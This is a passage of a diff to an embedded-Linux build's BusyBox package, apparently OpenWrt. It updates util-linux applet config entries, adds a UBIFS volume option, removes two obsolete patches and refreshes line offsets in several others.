+	  such a slightly-broken drive, you will need to run fdflush every time
+	  you change a disk. Most people have working hardware and can safely
+	  leave this disabled.
 
 config BUSYBOX_CONFIG_FREERAMDISK
 	bool "freeramdisk"
@@ -449,7 +241,6 @@ config BUSYBOX_CONFIG_FREERAMDISK
 	  pivot_root, you may want to free the memory that is allocated to the
 	  ramdisk. If you have no use for freeing memory from a ramdisk, leave
 	  this disabled.
-
 config BUSYBOX_CONFIG_FSCK_MINIX
 	bool "fsck_minix"
 	default BUSYBOX_DEFAULT_FSCK_MINIX
@@ -460,47 +251,12 @@ config BUSYBOX_CONFIG_FSCK_MINIX
 	  power goes off in the middle of a write. This utility allows you to
 	  check for and attempt to repair any corruption that occurs to a minix
 	  filesystem.
-
-config BUSYBOX_CONFIG_MKFS_EXT2
-	bool "mkfs_ext2"
-	default BUSYBOX_DEFAULT_MKFS_EXT2
-	select BUSYBOX_CONFIG_PLATFORM_LINUX
-	help
-	  Utility to create EXT2 filesystems.
-
-config BUSYBOX_CONFIG_MKFS_MINIX
-	bool "mkfs_minix"
-	default BUSYBOX_DEFAULT_MKFS_MINIX
-	select BUSYBOX_CONFIG_PLATFORM_LINUX
-	help
-	  The minix filesystem is a nice, small, compact, read-write filesystem
-	  with little overhead. If you wish to be able to create minix
-	  filesystems this utility will do the job for you.
-
-config BUSYBOX_CONFIG_FEATURE_MINIX2
-	bool "Support Minix fs v2 (fsck_minix/mkfs_minix)"
-	default BUSYBOX_DEFAULT_FEATURE_MINIX2
-	depends on BUSYBOX_CONFIG_FSCK_MINIX || BUSYBOX_CONFIG_MKFS_MINIX
-	help
-	  If you wish to be able to create version 2 minix filesystems, enable
-	  this. If you enabled 'mkfs_minix' then you almost certainly want to
-	  be using the version 2 filesystem support.
-
-config BUSYBOX_CONFIG_MKFS_REISER
-	bool "mkfs_reiser"
-	default BUSYBOX_DEFAULT_MKFS_REISER
-	select BUSYBOX_CONFIG_PLATFORM_LINUX
-	help
-	  Utility to create ReiserFS filesystems.
-	  Note: this applet needs a lot of testing and polishing.
-
-config BUSYBOX_CONFIG_MKFS_VFAT
-	bool "mkfs_vfat"
-	default BUSYBOX_DEFAULT_MKFS_VFAT
+config BUSYBOX_CONFIG_FSTRIM
+	bool "fstrim"
+	default BUSYBOX_DEFAULT_FSTRIM
 	select BUSYBOX_CONFIG_PLATFORM_LINUX
-	help
-	  Utility to create FAT32 filesystems.
-
+	help
+	  Discard unused blocks on a mounted filesystem.
 config BUSYBOX_CONFIG_GETOPT
 	bool "getopt"
 	default BUSYBOX_DEFAULT_GETOPT
@@ -518,7 +274,6 @@ config BUSYBOX_CONFIG_FEATURE_GETOPT_LONG
 	depends on BUSYBOX_CONFIG_GETOPT
 	help
 	  Enable support for long options (option -l).
-
 config BUSYBOX_CONFIG_HEXDUMP
 	bool "hexdump"
 	default BUSYBOX_DEFAULT_HEXDUMP
@@ -539,10 +294,8 @@ config BUSYBOX_CONFIG_FEATURE_HEXDUMP_REVERSE
 config BUSYBOX_CONFIG_HD
 	bool "hd"
 	default BUSYBOX_DEFAULT_HD
-	depends on BUSYBOX_CONFIG_HEXDUMP
 	help
 	  hd is an alias to hexdump -C.
-
 config BUSYBOX_CONFIG_HWCLOCK
 	bool "hwclock"
 	default BUSYBOX_DEFAULT_HWCLOCK
@@ -573,7 +326,6 @@ config BUSYBOX_CONFIG_FEATURE_HWCLOCK_ADJTIME_FHS
 	  classic /etc/adjtime path.
 
 	  pathname.com/fhs/pub/fhs-2.3.html#VARLIBHWCLOCKSTATEDIRECTORYFORHWCLO
-
 config BUSYBOX_CONFIG_IPCRM
 	bool "ipcrm"
 	default BUSYBOX_DEFAULT_IPCRM
@@ -581,7 +333,6 @@ config BUSYBOX_CONFIG_IPCRM
 	  The ipcrm utility allows the removal of System V interprocess
 	  communication (IPC) objects and the associated data structures
 	  from the system.
-
 config BUSYBOX_CONFIG_IPCS
 	bool "ipcs"
 	default BUSYBOX_DEFAULT_IPCS
@@ -589,7 +340,6 @@ config BUSYBOX_CONFIG_IPCS
 	help
 	  The ipcs utility is used to provide information on the currently
 	  allocated System V interprocess (IPC) objects in the system.
-
 config BUSYBOX_CONFIG_LOSETUP
 	bool "losetup"
 	default BUSYBOX_DEFAULT_LOSETUP
@@ -598,7 +348,6 @@ config BUSYBOX_CONFIG_LOSETUP
 	  losetup is used to associate or detach a loop device with a regular
 	  file or block device, and to query the status of a loop device. This
 	  version does not currently support enabling data encryption.
-
 config BUSYBOX_CONFIG_LSPCI
 	bool "lspci"
 	default BUSYBOX_DEFAULT_LSPCI
@@ -608,7 +357,6 @@ config BUSYBOX_CONFIG_LSPCI
 	  system and devices connected to them.
 
 	  This version uses sysfs (/sys/bus/pci/devices) only.
-
 config BUSYBOX_CONFIG_LSUSB
 	bool "lsusb"
 	default BUSYBOX_DEFAULT_LSUSB
@@ -618,7 +366,113 @@ config BUSYBOX_CONFIG_LSUSB
 	  system and devices connected to them.
 
 	  This version uses sysfs (/sys/bus/usb/devices) only.
+config BUSYBOX_CONFIG_MDEV
+	bool "mdev"
+	default BUSYBOX_DEFAULT_MDEV
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  mdev is a mini-udev implementation for dynamically creating device
+	  nodes in the /dev directory.
+
+	  For more information, please see docs/mdev.txt
+
+config BUSYBOX_CONFIG_FEATURE_MDEV_CONF
+	bool "Support /etc/mdev.conf"
+	default BUSYBOX_DEFAULT_FEATURE_MDEV_CONF
+	depends on BUSYBOX_CONFIG_MDEV
+	help
+	  Add support for the mdev config file to control ownership and
+	  permissions of the device nodes.
+
+	  For more information, please see docs/mdev.txt
+
+config BUSYBOX_CONFIG_FEATURE_MDEV_RENAME
+	bool "Support subdirs/symlinks"
+	default BUSYBOX_DEFAULT_FEATURE_MDEV_RENAME
+	depends on BUSYBOX_CONFIG_FEATURE_MDEV_CONF
+	help
+	  Add support for renaming devices and creating symlinks.
+
+	  For more information, please see docs/mdev.txt
+
+config BUSYBOX_CONFIG_FEATURE_MDEV_RENAME_REGEXP
+	bool "Support regular expressions substitutions when renaming device"
+	default BUSYBOX_DEFAULT_FEATURE_MDEV_RENAME_REGEXP
+	depends on BUSYBOX_CONFIG_FEATURE_MDEV_RENAME
+	help
+	  Add support for regular expressions substitutions when renaming
+	  device.
+
+config BUSYBOX_CONFIG_FEATURE_MDEV_EXEC
+	bool "Support command execution at device addition/removal"
+	default BUSYBOX_DEFAULT_FEATURE_MDEV_EXEC
+	depends on BUSYBOX_CONFIG_FEATURE_MDEV_CONF
+	help
+	  This adds support for an optional field to /etc/mdev.conf for
+	  executing commands when devices are created/removed.
+
+	  For more information, please see docs/mdev.txt
+
+config BUSYBOX_CONFIG_FEATURE_MDEV_LOAD_FIRMWARE
+	bool "Support loading of firmwares"
+	default BUSYBOX_DEFAULT_FEATURE_MDEV_LOAD_FIRMWARE
+	depends on BUSYBOX_CONFIG_MDEV
+	help
+	  Some devices need to load firmware before they can be usable.
+
+	  These devices will request userspace look up the files in
+	  /lib/firmware/ and if it exists, send it to the kernel for
+	  loading into the hardware.
+config BUSYBOX_CONFIG_MKE2FS
+	bool "mke2fs"
+	default BUSYBOX_DEFAULT_MKE2FS
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  Utility to create EXT2 filesystems.
+
+config BUSYBOX_CONFIG_MKFS_EXT2
+	bool "mkfs.ext2"
+	default BUSYBOX_DEFAULT_MKFS_EXT2
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  Alias to "mke2fs".
+config BUSYBOX_CONFIG_MKFS_MINIX
+	bool "mkfs_minix"
+	default BUSYBOX_DEFAULT_MKFS_MINIX
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  The minix filesystem is a nice, small, compact, read-write filesystem
+	  with little overhead. If you wish to be able to create minix
+	  filesystems this utility will do the job for you.
+
+config BUSYBOX_CONFIG_FEATURE_MINIX2
+	bool "Support Minix fs v2 (fsck_minix/mkfs_minix)"
+	default BUSYBOX_DEFAULT_FEATURE_MINIX2
+	depends on BUSYBOX_CONFIG_FSCK_MINIX || BUSYBOX_CONFIG_MKFS_MINIX
+	help
+	  If you wish to be able to create version 2 minix filesystems, enable
+	  this. If you enabled 'mkfs_minix' then you almost certainly want to
+	  be using the version 2 filesystem support.
+config BUSYBOX_CONFIG_MKFS_REISER
+	bool "mkfs_reiser"
+	default BUSYBOX_DEFAULT_MKFS_REISER
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  Utility to create ReiserFS filesystems.
+	  Note: this applet needs a lot of testing and polishing.
+config BUSYBOX_CONFIG_MKDOSFS
+	bool "mkdosfs"
+	default BUSYBOX_DEFAULT_MKDOSFS
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  Utility to create FAT32 filesystems.
 
+config BUSYBOX_CONFIG_MKFS_VFAT
+	bool "mkfs.vfat"
+	default BUSYBOX_DEFAULT_MKFS_VFAT
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  Alias to "mkdosfs".
 config BUSYBOX_CONFIG_MKSWAP
 	bool "mkswap"
 	default BUSYBOX_DEFAULT_MKSWAP
@@ -638,7 +492,6 @@ config BUSYBOX_CONFIG_FEATURE_MKSWAP_UUID
 	depends on BUSYBOX_CONFIG_MKSWAP
 	help
 	  Generate swap spaces with universally unique identifiers.
-
 config BUSYBOX_CONFIG_MORE
 	bool "more"
 	default BUSYBOX_DEFAULT_MORE
@@ -648,7 +501,114 @@ config BUSYBOX_CONFIG_MORE
 	  the screen, and you are using anything faster than a 300 baud modem,
 	  you will probably find this utility very helpful. If you don't have
 	  any need to reading text files, you can leave this disabled.
+config BUSYBOX_CONFIG_MOUNT
+	bool "mount"
+	default BUSYBOX_DEFAULT_MOUNT
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  All files and filesystems in Unix are arranged into one big directory
+	  tree. The 'mount' utility is used to graft a filesystem onto a
+	  particular part of the tree. A filesystem can either live on a block
+	  device, or it can be accessible over the network, as is the case with
+	  NFS filesystems. Most people using BusyBox will also want to enable
+	  the 'mount' utility.
+
+config BUSYBOX_CONFIG_FEATURE_MOUNT_FAKE
+	bool "Support option -f"
+	default BUSYBOX_DEFAULT_FEATURE_MOUNT_FAKE
+	depends on BUSYBOX_CONFIG_MOUNT
+	help
+	  Enable support for faking a file system mount.
+
+config BUSYBOX_CONFIG_FEATURE_MOUNT_VERBOSE
+	bool "Support option -v"
+	default BUSYBOX_DEFAULT_FEATURE_MOUNT_VERBOSE
+	depends on BUSYBOX_CONFIG_MOUNT
+	help
+	  Enable multi-level -v[vv...] verbose messages. Useful if you
+	  debug mount problems and want to see what is exactly passed
+	  to the kernel.
+
+config BUSYBOX_CONFIG_FEATURE_MOUNT_HELPERS
+	bool "Support mount helpers"
+	default BUSYBOX_DEFAULT_FEATURE_MOUNT_HELPERS
+	depends on BUSYBOX_CONFIG_MOUNT
+	help
+	  Enable mounting of virtual file systems via external helpers.
+	  E.g. "mount obexfs#-b00.11.22.33.44.55 /mnt" will in effect call
+	  "obexfs -b00.11.22.33.44.55 /mnt"
+	  Also "mount -t sometype [-o opts] fs /mnt" will try
+	  "sometype [-o opts] fs /mnt" if simple mount syscall fails.
+	  The idea is to use such virtual filesystems in /etc/fstab.
+
+config BUSYBOX_CONFIG_FEATURE_MOUNT_LABEL
+	bool "Support specifying devices by label or UUID"
+	default BUSYBOX_DEFAULT_FEATURE_MOUNT_LABEL
+	depends on BUSYBOX_CONFIG_MOUNT
+	select BUSYBOX_CONFIG_VOLUMEID
+	help
+	  This allows for specifying a device by label or uuid, rather than by
+	  name. This feature utilizes the same functionality as blkid/findfs.
+	  This also enables label or uuid support for swapon.
+
+config BUSYBOX_CONFIG_FEATURE_MOUNT_NFS
+	bool "Support mounting NFS file systems on Linux < 2.6.23"
+	default BUSYBOX_DEFAULT_FEATURE_MOUNT_NFS
+	depends on BUSYBOX_CONFIG_MOUNT
+	select BUSYBOX_CONFIG_FEATURE_HAVE_RPC
+	select BUSYBOX_CONFIG_FEATURE_SYSLOG
+	help
+	  Enable mounting of NFS file systems on Linux kernels prior
+	  to version 2.6.23. Note that in this case mounting of NFS
+	  over IPv6 will not be possible.
+
+	  Note that this option links in RPC support from libc,
+	  which is rather large (~10 kbytes on uclibc).
+
+config BUSYBOX_CONFIG_FEATURE_MOUNT_CIFS
+	bool "Support mounting CIFS/SMB file systems"
+	default BUSYBOX_DEFAULT_FEATURE_MOUNT_CIFS
+	depends on BUSYBOX_CONFIG_MOUNT
+	help
+	  Enable support for samba mounts.
+
+config BUSYBOX_CONFIG_FEATURE_MOUNT_FLAGS
+	depends on BUSYBOX_CONFIG_MOUNT
+	bool "Support lots of -o flags in mount"
+	default BUSYBOX_DEFAULT_FEATURE_MOUNT_FLAGS
+	help
+	  Without this, mount only supports ro/rw/remount. With this, it
+	  supports nosuid, suid, dev, nodev, exec, noexec, sync, async, atime,
+	  noatime, diratime, nodiratime, loud, bind, move, shared, slave,
+	  private, unbindable, rshared, rslave, rprivate, and runbindable.
+
+config BUSYBOX_CONFIG_FEATURE_MOUNT_FSTAB
+	depends on BUSYBOX_CONFIG_MOUNT
+	bool "Support /etc/fstab and -a"
+	default BUSYBOX_DEFAULT_FEATURE_MOUNT_FSTAB
+	help
+	  Support mount all and looking for files in /etc/fstab.
+
+config BUSYBOX_CONFIG_FEATURE_MOUNT_OTHERTAB
+	depends on BUSYBOX_CONFIG_FEATURE_MOUNT_FSTAB
+	bool "Support -T <alt_fstab>"
+	default BUSYBOX_DEFAULT_FEATURE_MOUNT_OTHERTAB
+	help
+	  Support mount -T (specifying an alternate fstab)
+config BUSYBOX_CONFIG_NSENTER
+	bool "nsenter"
+	default BUSYBOX_DEFAULT_NSENTER
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  Run program with namespaces of other processes.
 
+config BUSYBOX_CONFIG_FEATURE_NSENTER_LONG_OPTS
+	bool "Enable long options"
+	default BUSYBOX_DEFAULT_FEATURE_NSENTER_LONG_OPTS
+	depends on BUSYBOX_CONFIG_NSENTER && BUSYBOX_CONFIG_LONG_OPTS
+	help
+	  Support long options for the nsenter applet. This makes
+	  the busybox implementation more compatible with upstream.
 config BUSYBOX_CONFIG_PIVOT_ROOT
 	bool "pivot_root"
 	default BUSYBOX_DEFAULT_PIVOT_ROOT
@@ -661,7 +621,6 @@ config BUSYBOX_CONFIG_PIVOT_ROOT
 
 	  Note: This is for initrd in linux 2.4. Under initramfs (introduced
 	  in linux 2.6) use switch_root instead.
-
 config BUSYBOX_CONFIG_RDATE
 	bool "rdate"
 	default BUSYBOX_DEFAULT_RDATE
@@ -670,46 +629,68 @@ config BUSYBOX_CONFIG_RDATE
 	  system clock with the date and time of a remote networked system using
 	  the RFC868 protocol, which is built into the inetd daemon on most
 	  systems.
-
 config BUSYBOX_CONFIG_RDEV
 	bool "rdev"
 	default BUSYBOX_DEFAULT_RDEV
 	help
 	  Print the device node associated with the filesystem mounted at '/'.
-
 config BUSYBOX_CONFIG_READPROFILE
 	bool "readprofile"
 	default BUSYBOX_DEFAULT_READPROFILE
 	#select PLATFORM_LINUX
 	help
 	  This allows you to parse /proc/profile for basic profiling.
-
+config BUSYBOX_CONFIG_REV
+	bool "rev"
+	default BUSYBOX_DEFAULT_REV
+	help
+	  Reverse lines of a file or files.
 config BUSYBOX_CONFIG_RTCWAKE
 	bool "rtcwake"
 	default BUSYBOX_DEFAULT_RTCWAKE
 	select BUSYBOX_CONFIG_PLATFORM_LINUX
 	help
 	  Enter a system sleep state until specified wakeup time.
-
 config BUSYBOX_CONFIG_SCRIPT
 	bool "script"
 	default BUSYBOX_DEFAULT_SCRIPT
 	help
 	  The script makes typescript of terminal session.
-
 config BUSYBOX_CONFIG_SCRIPTREPLAY
 	bool "scriptreplay"
 	default BUSYBOX_DEFAULT_SCRIPTREPLAY
 	help
 	  This program replays a typescript, using timing information
 	  given by script -t.
+config BUSYBOX_CONFIG_SETARCH
+	bool "setarch"
+	default BUSYBOX_DEFAULT_SETARCH
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  The linux32 utility is used to create a 32bit environment for the
+	  specified program (usually a shell). It only makes sense to have
+	  this util on a system that supports both 64bit and 32bit userland
+	  (like amd64/x86, ppc64/ppc, sparc64/sparc, etc...).
+
+config BUSYBOX_CONFIG_LINUX32
+	bool "linux32"
+	default BUSYBOX_DEFAULT_LINUX32
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  Alias to "setarch linux32".
 
-config BUSYBOX_CONFIG_SWAPONOFF
-	bool "swaponoff"
-	default BUSYBOX_DEFAULT_SWAPONOFF
+config BUSYBOX_CONFIG_LINUX64
+	bool "linux64"
+	default BUSYBOX_DEFAULT_LINUX64
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  Alias to "setarch linux64".
+config BUSYBOX_CONFIG_SWAPON
+	bool "swapon"
+	default BUSYBOX_DEFAULT_SWAPON
 	select BUSYBOX_CONFIG_PLATFORM_LINUX
 	help
-	  This option enables both the 'swapon' and the 'swapoff' utilities.
+	  This option enables the 'swapon' utility.
 	  Once you have created some swap space using 'mkswap', you also need
 	  to enable your swap space with the 'swapon' utility. The 'swapoff'
 	  utility is used, typically at system shutdown, to disable any swap
@@ -719,7 +700,7 @@ config BUSYBOX_CONFIG_SWAPONOFF
 config BUSYBOX_CONFIG_FEATURE_SWAPON_DISCARD
 	bool "Support discard option -d"
 	default BUSYBOX_DEFAULT_FEATURE_SWAPON_DISCARD
-	depends on BUSYBOX_CONFIG_SWAPONOFF
+	depends on BUSYBOX_CONFIG_SWAPON
 	help
 	  Enable support for discarding swap area blocks at swapon and/or as
 	  the kernel frees them. This option enables both the -d option on
@@ -728,10 +709,16 @@ config BUSYBOX_CONFIG_FEATURE_SWAPON_DISCARD
 config BUSYBOX_CONFIG_FEATURE_SWAPON_PRI
 	bool "Support priority option -p"
 	default BUSYBOX_DEFAULT_FEATURE_SWAPON_PRI
-	depends on BUSYBOX_CONFIG_SWAPONOFF
+	depends on BUSYBOX_CONFIG_SWAPON
 	help
 	  Enable support for setting swap device priority in swapon.
 
+config BUSYBOX_CONFIG_SWAPOFF
+	bool "swapoff"
+	default BUSYBOX_DEFAULT_SWAPOFF
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  This option enables the 'swapoff' utility.
 config BUSYBOX_CONFIG_SWITCH_ROOT
 	bool "switch_root"
 	default BUSYBOX_DEFAULT_SWITCH_ROOT
@@ -751,7 +738,13 @@ config BUSYBOX_CONFIG_SWITCH_ROOT
 	  * Because the Linux kernel uses rootfs internally as the starting
 	  and ending point for searching through the kernel's doubly linked
 	  list of active mount points. That's why.
-
+config BUSYBOX_CONFIG_UEVENT
+	bool "uevent"
+	default BUSYBOX_DEFAULT_UEVENT
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  uevent is a netlink listener for kernel uevent notifications
+	  sent via netlink. It is usually used for dynamic device creation.
 config BUSYBOX_CONFIG_UMOUNT
 	bool "umount"
 	default BUSYBOX_DEFAULT_UMOUNT
@@ -768,6 +761,13 @@ config BUSYBOX_CONFIG_FEATURE_UMOUNT_ALL
 	depends on BUSYBOX_CONFIG_UMOUNT
 	help
 	  Support -a option to unmount all currently mounted filesystems.
+config BUSYBOX_CONFIG_UNSHARE
+	bool "unshare"
+	default BUSYBOX_DEFAULT_UNSHARE
+	depends on BUSYBOX_CONFIG_LONG_OPTS && !BUSYBOX_CONFIG_NOMMU
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  Run program with some namespaces unshared from parent.
 
 comment "Common options for mount/umount"
 	depends on BUSYBOX_CONFIG_MOUNT || BUSYBOX_CONFIG_UMOUNT
diff --git a/package/utils/busybox/config/util-linux/volume_id/Config.in b/package/utils/busybox/config/util-linux/volume_id/Config.in
index 6153314..49a5785 100644
--- a/package/utils/busybox/config/util-linux/volume_id/Config.in
+++ b/package/utils/busybox/config/util-linux/volume_id/Config.in
@@ -189,6 +189,15 @@ config BUSYBOX_CONFIG_FEATURE_VOLUMEID_SYSV
 	  TODO
 
 
+config BUSYBOX_CONFIG_FEATURE_VOLUMEID_UBIFS
+	bool "UBIFS filesystem"
+	default BUSYBOX_DEFAULT_FEATURE_VOLUMEID_UBIFS
+	depends on BUSYBOX_CONFIG_VOLUMEID
+	help
+	  UBIFS (Unsorted Block Image File System) is a file
+	  system for use with raw flash memory media.
+
+
 config BUSYBOX_CONFIG_FEATURE_VOLUMEID_UDF
 	bool "udf filesystem"
 	default BUSYBOX_DEFAULT_FEATURE_VOLUMEID_UDF
diff --git a/package/utils/busybox/patches/002-libbb-send_to_from-do-not-require-that-to-should-hav.patch b/package/utils/busybox/patches/002-libbb-send_to_from-do-not-require-that-to-should-hav.patch
deleted file mode 100644
index f33c3b2..0000000
--- a/package/utils/busybox/patches/002-libbb-send_to_from-do-not-require-that-to-should-hav.patch
+++ /dev/null
@@ -1,37 +0,0 @@
-From 7cef4817d6d6d61a1166ed7dfc13537b95c65970 Mon Sep 17 00:00:00 2001
-From: Denys Vlasenko <vda.linux at googlemail.com>
-Date: Thu, 15 Sep 2016 13:20:51 +0200
-Subject: [PATCH] libbb:/send_to_from: do not require that "to" should have the
- same AF. Closes 9146
-
-Signed-off-by: Denys Vlasenko <vda.linux at googlemail.com>
----
- libbb/udp_io.c | 10 ++++++++--
- 1 file changed, 8 insertions(+), 2 deletions(-)
-
---- a/libbb/udp_io.c
-+++ b/libbb/udp_io.c
-@@ -70,7 +70,13 @@ send_to_from(int fd, void *buf, size_t l
- 	msg.msg_flags = flags;
- 
- 	cmsgptr = CMSG_FIRSTHDR(&msg);
--	if (to->sa_family == AF_INET && from->sa_family == AF_INET) {
-+	/*
-+	 * Users report that to->sa_family can be AF_INET6 too,
-+	 * if "to" was acquired by recv_from_to(). IOW: recv_from_to()
-+	 * was seen showing IPv6 "from" even when the destination
-+	 * of received packet (our local address) was IPv4.
-+	 */
-+	if (/* to->sa_family == AF_INET && */ from->sa_family == AF_INET) {
- 		struct in_pktinfo *pktptr;
- 		cmsgptr->cmsg_level = IPPROTO_IP;
- 		cmsgptr->cmsg_type = IP_PKTINFO;
-@@ -86,7 +92,7 @@ send_to_from(int fd, void *buf, size_t l
- 		pktptr->ipi_spec_dst = ((struct sockaddr_in*)from)->sin_addr;
- 	}
- # if ENABLE_FEATURE_IPV6 && defined(IPV6_PKTINFO)
--	else if (to->sa_family == AF_INET6 && from->sa_family == AF_INET6) {
-+	else if (/* to->sa_family == AF_INET6 && */ from->sa_family == AF_INET6) {
- 		struct in6_pktinfo *pktptr;
- 		cmsgptr->cmsg_level = IPPROTO_IPV6;
- 		cmsgptr->cmsg_type = IPV6_PKTINFO;
diff --git a/package/utils/busybox/patches/102-trylink_mktemp_fix.patch b/package/utils/busybox/patches/102-trylink_mktemp_fix.patch
deleted file mode 100644
index ed1dcbb..0000000
--- a/package/utils/busybox/patches/102-trylink_mktemp_fix.patch
+++ /dev/null
@@ -1,20 +0,0 @@
---- a/scripts/trylink
-+++ b/scripts/trylink
-@@ -46,7 +46,7 @@ try() {
- }
- 
- check_cc() {
--    local tempname="$(mktemp)"
-+    local tempname="$(mktemp /tmp/tmp.XXXXXXXXXX)"
-     local r
-     echo "int main(int argc,char**argv){return argv?argc:0;}" >"$tempname".c
-     # Can use "-o /dev/null", but older gcc tend to *unlink it* on failure! :(
-@@ -61,7 +61,7 @@ check_cc() {
- }
- 
- check_libc_is_glibc() {
--    local tempname="$(mktemp)"
-+    local tempname="$(mktemp /tmp/tmp.XXXXXXXXXX)"
-     local r
-     echo "\
- 	#include <stdlib.h>
diff --git a/package/utils/busybox/patches/120-remove_uclibc_rpc_check.patch b/package/utils/busybox/patches/120-remove_uclibc_rpc_check.patch
index 4825bc8..682a68e 100644
--- a/package/utils/busybox/patches/120-remove_uclibc_rpc_check.patch
+++ b/package/utils/busybox/patches/120-remove_uclibc_rpc_check.patch
@@ -1,6 +1,6 @@
 --- a/util-linux/mount.c
 +++ b/util-linux/mount.c
-@@ -237,9 +237,6 @@
+@@ -245,9 +245,6 @@
  #if ENABLE_FEATURE_MOUNT_NFS
  /* This is just a warning of a common mistake.  Possibly this should be a
   * uclibc faq entry rather than in busybox... */
diff --git a/package/utils/busybox/patches/200-udhcpc_reduce_msgs.patch b/package/utils/busybox/patches/200-udhcpc_reduce_msgs.patch
index 0fdaed5..8ef8f22 100644
--- a/package/utils/busybox/patches/200-udhcpc_reduce_msgs.patch
+++ b/package/utils/busybox/patches/200-udhcpc_reduce_msgs.patch
@@ -1,6 +1,6 @@
 --- a/networking/udhcp/dhcpc.c
 +++ b/networking/udhcp/dhcpc.c
-@@ -697,6 +697,7 @@ static int bcast_or_ucast(struct dhcp_pa
+@@ -704,6 +704,7 @@ static int bcast_or_ucast(struct dhcp_pa
  static NOINLINE int send_discover(uint32_t xid, uint32_t requested)
  {
  	struct dhcp_packet packet;
@@ -8,7 +8,7 @@
  
  	/* Fill in: op, htype, hlen, cookie, chaddr fields,
  	 * random xid field (we override it below),
-@@ -714,6 +715,7 @@ static NOINLINE int send_discover(uint32
+@@ -721,6 +722,7 @@ static NOINLINE int send_discover(uint32
  	 */
  	add_client_options(&packet);
  
diff --git a/package/utils/busybox/patches/201-udhcpc_changed_ifindex.patch b/package/utils/busybox/patches/201-udhcpc_changed_ifindex.patch
index 4a9ae98..f5e3a07 100644
--- a/package/utils/busybox/patches/201-udhcpc_changed_ifindex.patch
+++ b/package/utils/busybox/patches/201-udhcpc_changed_ifindex.patch
@@ -1,6 +1,6 @@
 --- a/networking/udhcp/dhcpc.c
 +++ b/networking/udhcp/dhcpc.c
-@@ -1422,6 +1422,12 @@ int udhcpc_main(int argc UNUSED_PARAM, c
+@@ -1439,6 +1439,12 @@ int udhcpc_main(int argc UNUSED_PARAM, c
  		/* silence "uninitialized!" warning */
  		unsigned timestamp_before_wait = timestamp_before_wait;
  
diff --git a/package/utils/busybox/patches/203-udhcpc_renew_no_deconfig.patch b/package/utils/busybox/patches/203-udhcpc_renew_no_deconfig.patch
index 1e44552..3df8d93 100644
--- a/package/utils/busybox/patches/203-udhcpc_renew_no_deconfig.patch
+++ b/package/utils/busybox/patches/203-udhcpc_renew_no_deconfig.patch
@@ -1,6 +1,6 @@
 --- a/networking/udhcp/dhcpc.c
 +++ b/networking/udhcp/dhcpc.c
-@@ -1103,7 +1103,6 @@ static void perform_renew(void)
+@@ -1110,7 +1110,6 @@ static void perform_renew(void)
  		state = RENEW_REQUESTED;
  		break;
  	case RENEW_REQUESTED: /* impatient are we? fine, square 1 */
diff --git a/package/utils/busybox/patches/240-telnetd_intr.patch b/package/utils/busybox/patches/240-telnetd_intr.patch
index d52ea3f..fec2a3a 100644
--- a/package/utils/busybox/patches/240-telnetd_intr.patch
+++ b/package/utils/busybox/patches/240-telnetd_intr.patch
@@ -1,6 +1,6 @@
 --- a/networking/telnetd.c
 +++ b/networking/telnetd.c
-@@ -333,6 +333,7 @@ make_new_session(
+@@ -497,6 +497,7 @@ make_new_session(
  
  	/* Restore default signal handling ASAP */
  	bb_signals((1 << SIGCHLD) + (1 << SIGPIPE), SIG_DFL);
diff --git a/package/utils/busybox/patches/250-date-k-flag.patch b/package/utils/busybox/patches/250-date-k-flag.patch
index b2681a1..476440f 100644
--- a/package/utils/busybox/patches/250-date-k-flag.patch
+++ b/package/utils/busybox/patches/250-date-k-flag.patch
@@ -1,6 +1,6 @@
 --- a/coreutils/date.c
 +++ b/coreutils/date.c
-@@ -123,6 +123,7 @@
+@@ -122,6 +122,7 @@
  //usage:	IF_FEATURE_DATE_ISOFMT(
  //usage:     "\n	-D FMT		Use FMT for -d TIME conversion"
  //usage:	)
@@ -8,7 +8,7 @@
  //usage:     "\n"
  //usage:     "\nRecognized TIME formats:"
  //usage:     "\n	hh:mm[:ss]"
-@@ -139,9 +140,8 @@
+@@ -138,9 +139,8 @@
  
  #include "libbb.h"
  #include "common_bufsiz.h"
@@ -20,7 +20,7 @@
  
  enum {
  	OPT_RFC2822   = (1 << 0), /* R */
-@@ -149,8 +149,9 @@ enum {
+@@ -148,8 +148,9 @@ enum {
  	OPT_UTC       = (1 << 2), /* u */
  	OPT_DATE      = (1 << 3), /* d */
  	OPT_REFERENCE = (1 << 4), /* r */
@@ -32,7 +32,7 @@
  };
  
  static void maybe_set_utc(int opt)
-@@ -168,12 +169,15 @@ static const char date_longopts[] ALIGN1
+@@ -167,12 +168,15 @@ static const char date_longopts[] ALIGN1
  	/*	"universal\0" No_argument       "u" */
  		"date\0"      Required_argument "d"
  		"reference\0" Required_argument "r"
@@ -48,7 +48,7 @@
  	struct timespec ts;
  	struct tm tm_time;
  	char buf_fmt_dt2str[64];
-@@ -188,7 +192,7 @@ int date_main(int argc UNUSED_PARAM, cha
+@@ -187,7 +191,7 @@ int date_main(int argc UNUSED_PARAM, cha
  	opt_complementary = "d--s:s--d"
  		IF_FEATURE_DATE_ISOFMT(":R--I:I--R");
  	IF_LONG_OPTS(applet_long_options = date_longopts;)
@@ -57,7 +57,7 @@
  			IF_FEATURE_DATE_ISOFMT("I::D:"),
  			&date_str, &date_str, &filename
  			IF_FEATURE_DATE_ISOFMT(, &isofmt_arg, &fmt_str2dt));
-@@ -245,6 +249,31 @@ int date_main(int argc UNUSED_PARAM, cha
+@@ -244,6 +248,31 @@ int date_main(int argc UNUSED_PARAM, cha
  	if (*argv)
  		bb_show_usage();
  
diff --git a/package/utils/busybox/patches/302-netlink-alignment.patch b/package/utils/busybox/patches/302-netlink-alignment.patch
deleted file mode 100644
index 4cd25b1..0000000
